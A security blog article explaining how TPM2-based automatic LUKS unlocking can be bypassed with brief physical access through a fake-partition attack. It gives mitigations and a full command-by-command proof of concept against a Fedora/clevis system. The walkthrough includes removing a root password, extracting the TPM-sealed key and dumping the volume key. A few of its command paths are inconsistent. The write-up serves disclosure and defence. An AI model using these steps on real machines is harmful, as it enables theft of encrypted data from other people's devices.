Technology

Bypassing disk encryption on systems with automatic TPM2 unlock

Have you setup automatic disk unlocking with TPM2 and
systemd-cryptenroll or clevis? Then
chances are high that your disk can be decrypted by an attacker who
just has brief physical access to your machine – with some
preparation, 10 minutes will suffice. In this article we will
explore how TPM2 based disk decryption works, and understand why
many setups are vulnerable to a kind of filesystem confusion
attack. We will follow along by exploiting two different real
systems (Fedora + clevis, NixOS + systemd-cryptenroll).

# Examples commands used to enroll a key into the TPM. Whether your system is
# suffers from this issue does not depend on which PCRs you choose here.
systemd-cryptenroll --tpm2-pcrs=0+2+7 --tpm2-device=auto <device>
clevis luks bind -d <device> tpm2 '{"pcr_bank":"sha256","pcr_ids":"0,1,2,7"}'

TL;DR: Most TPM2 unlock setups fail to verify
the LUKS identity of the decrypted partition. Since the initrd must
reside in an unencrypted boot partition, an attacker can inspect it
to learn how it decrypts the disk and also what type of filesystem
it expects to find inside. By recreating the LUKS partition with a
known key, we can confuse the initrd into executing a malicious
init executable. Since the TPM state will not be
altered in any way by this fake partition, the original LUKS key
can be unsealed from the TPM. Afterwards, the initial disk state
can be fully restored and then decrypted using the obtained
key.

You are safe if you additionally use a pin to unlock your TPM,
or use an initrd that properly asserts the LUKS identity (which
would involve manual work, so you’d probably know if that is the
case).

🔗
The idea behind TPM2 based disk decryption

The idea behind secure and password-less disk decryption is that
the TPM2 can store an additional LUKS key which your system can
only retrieve, if the TPM is in a predetermined, known-good state.
This state is recorded in the so-called Platform Configuration
Registers (PCRs), of which there are 24 in a standard compliant
TPM. Their intended use is described in the Linux TPM PCR Registry but also neatly summarized as a table in
the systemd-cryptenroll(1) man page.

These registers store hashes which are successively updated
while booting based on information like the bootlaoder hash, the
firmware in use, the booted kernel, initrd image and a lot more
things. By establishing a chain of trust through all components
involved in booting up to the linux userspace, we can ensure that
altering any component will affect one or several PCRs. Storing
data in the TPM requires you to select a list of PCRs and it will
ensure that the data can only be retrieved again if all of these
PCRs are in the same state as when enrolling the secret.

Several of these registers have an agreed-upon purpose and are
updated with some specific information about your system, such as
your board’s firmware, your BIOS configuration, OptionROMs (extra
firmware loaded from external devices such as PCIe devices after
POST), the secure boot policy, or other things. Here’s an excerpt
from the man page from above containing some of the registers that
are important to us:

PCR Name Explanation

0 platform-code Core system firmware executable code; changes on firmware
updates

2 external-code Extended or pluggable executable code; includes option ROMs on
pluggable hardware

7 secure-boot-policy Secure Boot state; changes when UEFI SecureBoot mode is
enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …)
changes.

15 system-identity systemd-cryptsetup(8) optionally measures the volume key of
activated LUKS volumes into this PCR. systemd-pcrmachine.service(8)
measures the machine-id(5) into this PCR. [email protected](8)
measures mount points, file system UUIDs, labels, partition UUIDs
of the root and /var/ filesystems into this PCR.

Below this list, an interesting piece of information is given in
the man page about the intended use of PCRs for encrypted
volumes:

In general, encrypted volumes would be bound to some combination
of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow
firmware and OS version updates, it is typically not advisable to
use PCRs such as 0 and 2, since the program code they cover should
already be covered indirectly through the certificates measured
into PCR 7. Validation through certificates hashes is typically
preferable over validation through direct measurements as it is
less brittle in context of OS/firmware updates: the measurements
will change on every update, but signatures should remain
unchanged. See the Linux TPM PCR Registry for more discussion.

If you enroll your own secure boot keys and use a Unified Kernel
Image (UKI), then using just PCR 7 will be sufficient to ensure
integrity up to the point where we need to unlock our disk. Some
distributions instead ship EFI executables that are pre-signed with
the Microsoft keys, which allows them to enable secure boot by
default without requiring the user to generate and enroll anything
on their own. Since this also means that the user cannot sign their
kernel and/or initrd image, a trusted and pre-signed shim is often
used to measure the hash of the kernel and initrd before executing
them into PCR 9, which we would want to use in that case. Another
approach is to have the user generate a so-called Machine Owner Key
(MOK) if they want to sign something, in which case PCR 14 should
be used, too.

So the exact PCR selection may change a bit depending on the
user’s setup. A quick search on GitHub or on the internet reveals that many people still opt to use
additional PCRs like 0 and 2 in addition to 7, which is of course
fine but may result in keys becoming inaccessible when the BIOS or
some firmware is updated – which can be annoying.

🔗
A common (vulnerable) setup

If you already have secure boot set up, configuring TPM2 unlock
for your LUKS partition is usually very simple. Most guides will
resort to systemd-cryptenroll or clevis
which are different implementations that internally do some
variation of the following:

  1. Add a newly generated key to your LUKS partition
  2. Seal this key in your TPM based on your selection of PCRs
  3. Store the encrypted TPM context in the LUKS token metadata
    which is required to unseal the secret at a later point in
    time

Both clevis and systemd-cryptenroll
can store tokens in other ways than a TPM2, for example using a
FIDO2 key. I found that clevis also supports
retrieving tokens from network resources, but other than that the
two tools are very similar in what they do.
systemd-cryptenroll just comes pre-packaged with
systemd so it is usually a bit simpler to use. Here is
an example:

systemd-cryptenroll --tpm2-pcrs=7 --tpm2-device=auto /dev/nvme0n1p3

In theory, the disk is now properly protected, assuming the
kernel command line cannot be edited, right? It can only be
decrypted if PCR 7 is unchanged, and anything we would do to the
bootloader, kernel or initrd would affect PCR 7.

Well, of course, I wouldn’t be asking if there wasn’t a tiny
caveat: Assuming all disks were mounted properly, the initrd can be
certain that no code has been modified up to this point. But it
does not automatically ensure that the data on them is
authentic. As the very last step, the initrd will execute the
init executable of the real system, which usually
doesn’t undergo any kind of signature check before it is executed.
And why would it have to – after all it is part of the encrypted
root partition which cannot be altered by an attacker.

🔗 The exploit

First of all, it is important to know that the initrd will fall
back to a password prompt, if TPM unlocking fails for whatever
reason. A BIOS update could always cause the secure boot database
to be altered (thus invalidating PCR 7), or somebody makes a
mistake when updating the system and forgets to sign the kernel and
initrd properly. In such a case you don’t want to be locked out
from your system completely, so asking for the password is a sane
thing to do.

But that also means if we replace the encrypted partition with a
new LUKS partition (for which we choose the password), then the TPM
decryption will fail and we will be asked for the password, which
we control. After entering the password, the initrd will now think
it has decrypted the partition correctly and proceed. If we manage
to put the correct kind of filesystem inside of our fake LUKS
partition so that the actual mounting succeeds, we can ship a
malicious init binary that now has full access to the
unlocked TPM, thus allowing us to decrypt the original filesystem,
which we would have to backup before creating our malicious
partition.

Now you might think the initrd can simply verify the filesystem
UUID before mounting it since we cannot read it from the disk, but
remember that anything the initrd knows is public knowledge, as the
boot partition and initrd image are not encrypted. So we can just
reuse the same LUKS UUID and filesystem UUID if necessary.

🔗 Securing the system

To solve this, we need to be able to authenticate all encrypted
volumes before accessing any file on them. In this
article
by Lennart Poettering from October 2022, where he
describes the state of secure boot in systemd, he mentions how the
process should look like to make the system secure. It is a bit
involved so let me reiterate the important part.

After a disk has been unlocked, we want to derive a value from
its volume key (the master key used to encrypt all its data) and
use this value to extend PCR 15. This ensures that any fake volume
would change this value since the original volume key cannot be
known. Using systemd-cryptsetup instead of
cryptsetup can already take care of this by adding
tpm2-measure-pcr=yes to the crypttab file.

If we now ensure that the disk decryption order is
deterministic, then we can compare the value in PCR 15 against a
known and signed value in the initrd. If the wrong value is
observed, the initrd can now abort the boot process before
executing anything malicious.

🔗 Many broken guides

There are loads of guides that describe in more detail how to
setup TPM2 based disk unlocking, and while the concept is always
the same, you will certainly find one adjusted to your favorite
distribution. Here’s a list of guides that I found online, sorted
by date:

Unfortunately, I did not find any guide that addresses this, so
most user setups are probably suffering from this issue. Though in
all fairness, whether this is an issue to you obviously depends on
your threat model. If you are using the TPM just to unlock your
home server which nobody else has physical access to, then maybe
this is a non-issue to you. But if you use this to protect the data
on your laptop against theft, then chances are you want to set a
TPM pin or implement PCR 15 verification as explained above.

Notably, I found that the ArchWiki entry of systemd-cryptenroll
acknowledges this issue in a warning near the end of the
article:

Only binding to PCRs measured pre-boot (PCRs 0-7) opens a
vulnerability from rogue operating systems. A rogue partition with
metadata copied from the real root filesystem (such as partition
UUID) can mimic the original partition. Then, initramfs will
attempt to mount the rogue partition as the root filesystem
(decryption failure will fall back to password entry), leaving
pre-boot PCRs unchanged. The rogue root filesystem with files
controlled by an attacker is still able to receive the decryption
key for the real root partition. See Brave New Trusted Boot World
and BitLocker documentation for additional information.

And while this is correct, just using any of the PCRs 8-23
doesn’t automatically protect your data either. The initrd still
has to ensure that the respective PCR is changed before executing
the system’s init binary, which is not done by
default.

🔗 Proof-of-concept exploitation of a Fedora machine

Now, let’s have a look at a real system which we will setup in a
similar way to how anyone else would have done it. I’ve picked one
of the Fedora articles above, but you can expect this to work for
all of the other distributions, too. In summary, my setup included
the following steps:

  • Install Fedora 41, I chose an encrypted root with ext4 on
    LUKS
  • Enable secure boot in the BIOS (and install the Microsoft keys
    since Fedora is signed with those keys)

An interesting thing we notice right away is that the Fedora
bootloader is signed using the Microsoft keys. We’ve already
briefly talked about this in the beginning, this means it cannot
sign the initrd at all. Instead, they have a signed shim that is
executed after the bootloader which will calculate hashes of the
kernel and initrd and extend PCR 9 with those values. Therefore, it
is critical that we now include PCR 9 in our selection when
enrolling the key to the TPM, otherwise the initrd could just be
modified.

This approach has the advantage that the user doesn’t have to
deal with custom secure boot keys, but the downside is that every
kernel or initrd update will affect the value in PCR 9, thus
requiring us to re-enroll the key after rebooting on each system
update. Here is a snapshot of my PCRs when I enrolled the key into
the TPM. This is also the state that we need to reach later to
succeed.

[root@localhost]# systemd-analyze pcrs
NR NAME                SHA256
 0 platform-code       8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5
 1 platform-config     299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d
 2 external-code       3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 3 external-config     3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 4 boot-loader-code    5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb
 5 boot-loader-config  38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f
 6 host-platform       3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
 7 secure-boot-policy  4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17
 8 -                   e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651
 9 kernel-initrd       091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99
10 ima                 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257
11 kernel-boot         0000000000000000000000000000000000000000000000000000000000000000
12 kernel-config       0000000000000000000000000000000000000000000000000000000000000000
13 sysexts             0000000000000000000000000000000000000000000000000000000000000000
14 shim-policy         17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc
15 system-identity     0000000000000000000000000000000000000000000000000000000000000000
16 debug               0000000000000000000000000000000000000000000000000000000000000000
17 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
18 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
19 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
20 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
21 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
22 -                   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
23 application-support 0000000000000000000000000000000000000000000000000000000000000000

🔗 Inspecting the system

Now, let’s pretend we don’t know anything about the system and
that we just obtained physical access to the machine, which was
powered-off.

We start by taking the main disk out and putting it into our
machine. You may also be able to boot a Fedora or Debian live
image, if the owner has not wiped the Microsoft keys from their
BIOS in favor of their own. Once booted, we start investigating the
disk layout and partitions:

[root@localhost]# blkid
/dev/nvme0n1p1: LABEL_FATBOOT="EFI" LABEL="EFI" UUID="E2AA-BB8B" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="EFI System Partition" PARTUUID="b9cd5e99-00ec-45e8-be33-72809ae30602"
/dev/nvme0n1p2: LABEL="boot" UUID="d0a1796a-5c1e-446f-8b70-2910d094d195" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9"
/dev/nvme0n1p3: UUID="779328d5-00ca-4ade-be44-6daa549642ed" TYPE="crypto_LUKS" PARTUUID="4e73c89f-3840-458a-ada6-0f5349ab36e1"

We take a quick peek at the encrypted partition, which is our
main target:

[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3
LUKS header information
Version:        2
Epoch:          9
Metadata area:  16384 [bytes]
Keyslots area:  16744448 [bytes]
UUID:           779328d5-00ca-4ade-be44-6daa549642ed
# [...]
Tokens:
  0: clevis
    Keyslot:    1
# [...]

We can already see that the system owner has used
clevis to configure the automated unlocking. What we
want to find for now is the initrd and kernel command line, so some
GRUB or systemd-boot configuration file. Since Fedora uses
pre-signed images, the EFI partition will only contain the loader
and shim, which shouldn’t contain any information about the actual
system. But the boot partition /dev/nvme0n1p2 looks
promising, so let’s mount it and see what we find:

[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot
[root@localhost]# ls -l /mnt/boot
total 222500
dr-xr-xr-x.  6 root root      4096 Jan 13 23:09 ./
dr-xr-xr-x. 19 root root      4096 Jan 13 23:06 ../
-rw-r--r--.  1 root root    277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64
drwx------.  3 root root      4096 Jan  1  1970 efi/
drwx------.  3 root root      4096 Jan 13 23:10 grub2/
-rw-------.  1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img
-rw-------.  1 root root  45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img
drwxr-xr-x.  3 root root      4096 Jan 13 23:06 loader/
drwx------.  2 root root     16384 Jan 13 23:05 lost+found/
-rw-r--r--.  1 root root    182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz
-rw-r--r--.  1 root root   9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64
-rwxr-xr-x.  1 root root  16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e*
-rwxr-xr-x.  1 root root  16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64*
-rw-r--r--.  1 root root       161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac

Great! There are the kernel and initrd images plus a
loader/ directory containing some GRUB entry
configurations. We will take a look at those configuration files
first:

[root@localhost]# ls -l /mnt/boot/loader/entries
-rw-r--r--. 1 root root  445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf
-rw-r--r--. 1 root root  369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition)
version 6.11.4-301.fc41.x86_64
linux /vmlinuz-6.11.4-301.fc41.x86_64
initrd /initramfs-6.11.4-301.fc41.x86_64.img
options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet
grub_users $grub_users
grub_arg --unrestricted
grub_class fedora

Wow, this is looks like we already found all the important
information! Judging from the commandline syntax, this is likely an
initrd that was generated by dracut. There seems to be a LUKS
encrypted partition with UUID
779328d5-00ca-4ade-be44-6daa549642ed and a root file
system with UUID 1a887df4-286d-4842-bd66-d8993e8596d2,
which is certainly inside of the LUKS partition. The type of
filesystem is not specified, so we are free to choose anything that
is supported by the initramfs for our fake.

🔗 Planning our exploit

In theory, we’d need to find out one additional thing – the
binary that will be called by the initrd when it want’s to switch
to the real system. But the chances are very high that it is
/sbin/init (this is not the case on all systems
though, see the NixOS PoC below for an example). If our assumption
doesn’t work out, we can still double check by extracting the
initrd later.

In order to confuse the initrd, we now need to:

  1. Backup the original LUKS parition so we can later decrypt
    it
  2. Replace the LUKS partition with a fake LUKS partition that has
    the UUID 779328d5-00ca-4ade-be44-6daa549642ed
  3. This LUKS partition must contain a filesystem with UUID
    1a887df4-286d-4842-bd66-d8993e8596d2
  4. The inner filesystem contains a /sbin/init binary
    that does what we want

We may actually only backup the first few megabytes of the
original LUKS partition and make sure our fake partition is exactly
the same size as our backup. By overwriting just the beginning in
this way we don’t have to do a full disk backup, which would
otherwise take a very long time and would require us to bring a
spare disk with us.

🔗 Backup the beginning of the original LUKS partition

[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1

We’ll abuse the free space on the boot partition to store this
backup, which makes it easy to access later. If you don’t want to
tamper too much with the original disk, you can of course use a
small thumb drive.

🔗 Create fake partition and filesystem with matching
UUIDs

Next, we create a 64MB file in which we will
prepare our partition. The size is a bit arbitrary, it just needs
to cover the LUKS and inner filesystem header and must fit our
exploit binary. So we initialize a new LUKS partition with the UUID
from above, and then open it and format its contents with
ext4:

[root@localhost]# truncate -s 64MB /root/fakeluks
[root@localhost]# cryptsetup luksFormat /root/fakeluks --key-file <(echo -n 1234) --uuid 779328d5-00ca-4ade-be44-6daa549642ed
[root@localhost]# cryptsetup open /root/fakeluks fakeluks --key-file <(echo -n 1234)
[root@localhost]# mkfs.ext4 /dev/mapper/fakeluks -U 1a887df4-286d-4842-bd66-d8993e8596d2
[root@localhost]# mount /dev/mapper/fakeluks /mnt/root

🔗 Prepare filesystem

Now we could theoretically prepare a tiny binary that directly
extracts the key from the TPM, but it’s far simpler just put a
minimal Alpine image there and install the necessary tools to do
that manually. This will also easily fit into 64MB.
Let’s proceed by preparing the Alpine filesystem:

[root@localhost]# cd /mnt/root
[root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf      # Just for DNS resolution at this moment, so we can install packages in the chroot
[root@localhost]# chroot /mnt/root /sbin/apk add                       # Install some tools that we need
                    tpm2-tools tpm2-tss-tcti-device jose cryptsetup
[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm 
                    "https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2"
[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm             # Helper to retrieve password from TPM2
[root@localhost]# sed -i 's/root:x/root:/' /mnt/root/etc/passwd         # Remove root password

🔗
Overwriting the partition

Finally, we unmount our fake filesystem and overwrite the first
64MB of the original partition with it, then put the
disk back into the original machine and reboot:

[root@localhost]# umount /mnt/root
[root@localhost]# cryptsetup close /dev/mapper/fakeluks
[root@localhost]# sync
[root@localhost]# dd if=/root/fakeluks of=/root/luks-original.bak bs=64M count=1

We will now be asked for the LUKS password we just set, since
the automatic decryption will obviously not trigger on our fake
partition, which has no token metadata. After entering our password
from above, we are greeted by the Alpine image. We can login as
root without a password:

Welcome to Alpine Linux 3.21
Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)

localhost login: root
Welcome to Alpine!

localhost:~#

🔗 Verifying PCRs

Now let’s check whether any of the PCRs was affected by our
operation:

localhost:~# tpm2_pcrread
  sha1:
  sha256:
    0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5
    1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D
    2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
    3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
    4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB
    5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F
    6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
    7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17
    8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651
    9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99
    10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257
    11: 0x0000000000000000000000000000000000000000000000000000000000000000
    12: 0x0000000000000000000000000000000000000000000000000000000000000000
    13: 0x0000000000000000000000000000000000000000000000000000000000000000
    14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC
    15: 0x0000000000000000000000000000000000000000000000000000000000000000
    16: 0x0000000000000000000000000000000000000000000000000000000000000000
    17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
    23: 0x0000000000000000000000000000000000000000000000000000000000000000
  sha384:
  sm3_256:

The output format is slightly different to that of
systemd-analyze pcrs, but we can see that all values
are the same as in the real system. Some boards may have different
values in PCR 1 after every power cycle, but don’t worry, in that
case you can be sure that the owner didn’t use it either. So this
means our attack was successful! We can now go ahead and retrieve
the volume key of the original partition.

By quickly skimming the clevis source we find that it stores a JWE token in the
LUKS header, which contains an encrypted secondary key to unlock
the partition. It also contains some metadata required to have it
decrypted by the TPM, like which PCRs have to be used in the TPM
context. Back when we inspected the LUKS header, we found the
clevis token in slot 0, so let’s first extract this token:

localhost:~# mount -o remount,rw / # This alpine image is not writable by default
localhost:~# mount /dev/nvme0n1p1 /mnt
localhost:~# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
  "type": "clevis",
  "keyslots": [
    "1"
  ],
  "jwe": {
    "ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
    "encrypted_key": "",
    "iv": "5zuFP0kEuqiCh0QL",
    "protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
    "tag": "7DIhyL_ZNocrUHTPr1PQWg"
  }
}

Clevis would then proceed to extract a JWE token and hand it to
clevis-decrypt-tpm2 which decrypts it using the TPM,
so we replicate the procedure:

# Get the contents of the .jwe field
localhost:~# jose fmt -j token.json -Og jwe -o- | tee jwe.json
{
  "ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
  "encrypted_key": "",
  "iv": "5zuFP0kEuqiCh0QL",
  "protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
  "tag": "7DIhyL_ZNocrUHTPr1PQWg"
}

# Convert this format into the actual JWE token format
localhost:~# jose jwe fmt -i jwe.json -c | tee token.txt
eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg

# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2
localhost:~# cat token.txt | tr -d 'n' | clevis-decrypt-tpm2
4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA

Awesome! We got a password out of it, which is the password
clevis originally added to the LUKS partition and
which can be used to unlock it! Let’s also dump the volume key for
future “safekeeping” 🤡:

[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt 
                    --key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for /mnt/luks-original.bak
Cipher name:    aes
Cipher mode:    xts-plain64
Payload offset: 32768
UUID:           779328d5-00ca-4ade-be44-6daa549642ed
MK bits:        512
Key stored to file volume-key.txt.

[root@localhost]# cat volume-key.txt | hexdump
0000000 0e42 f904 ae92 97a2 84a0 920a 3b09 faf5
0000010 4feb 1775 b0de 0448 e4f4 c57f 35e6 7e34
0000020 d200 2016 8623 2cd2 5e8e 2262 320a 3e74
0000030 6411 6454 866a d81e 88ff 8dbf b70b 9eef
0000040

At this point we only have to restore the partition to its
original state and decrypt the real partition. We can either reboot
into a live system (possible if the Microsoft keys are still in the
secure boot database) or put the disk back into a system we
control. Finally, we can mount the encrypted disk to have a look
inside:

[root@localhost]# dd if=/mnt/luks-original.bak of=/dev/nvme0n1p3 bs=64M count=1
[root@localhost]# cryptsetup luksOpen /dev/nvme0n1p3 original 
                    --key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
